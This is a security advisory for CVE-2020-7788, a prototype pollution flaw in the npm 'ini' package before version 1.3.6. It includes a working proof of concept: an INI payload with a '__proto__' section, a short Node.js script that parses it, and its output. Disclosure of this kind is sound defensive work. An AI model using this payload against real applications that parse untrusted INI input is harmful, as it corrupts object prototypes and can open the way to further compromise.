npm/ini · Security
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
- GHSA ID
- GHSA-qqgx-2p2h-9c37
- CVE ID
- CVE-2020-7788
- Severity
- high
- Published
- Updated
- CVSS
- 7.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- CVSS v3
- 7.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Description
Overview
The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
Patches
This has been patched in 1.3.6.
Steps to reproduce
payload.ini
[__proto__]
polluted = "polluted"
poc.js:
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
CWEs
- CWE-1321 · Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
References
- https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1 ↗
- https://www.npmjs.com/advisories/1589 ↗
- https://snyk.io/vuln/SNYK-JS-INI-1048974 ↗
- https://nvd.nist.gov/vuln/detail/CVE-2020-7788 ↗
- https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html ↗
- https://github.com/advisories/GHSA-qqgx-2p2h-9c37 ↗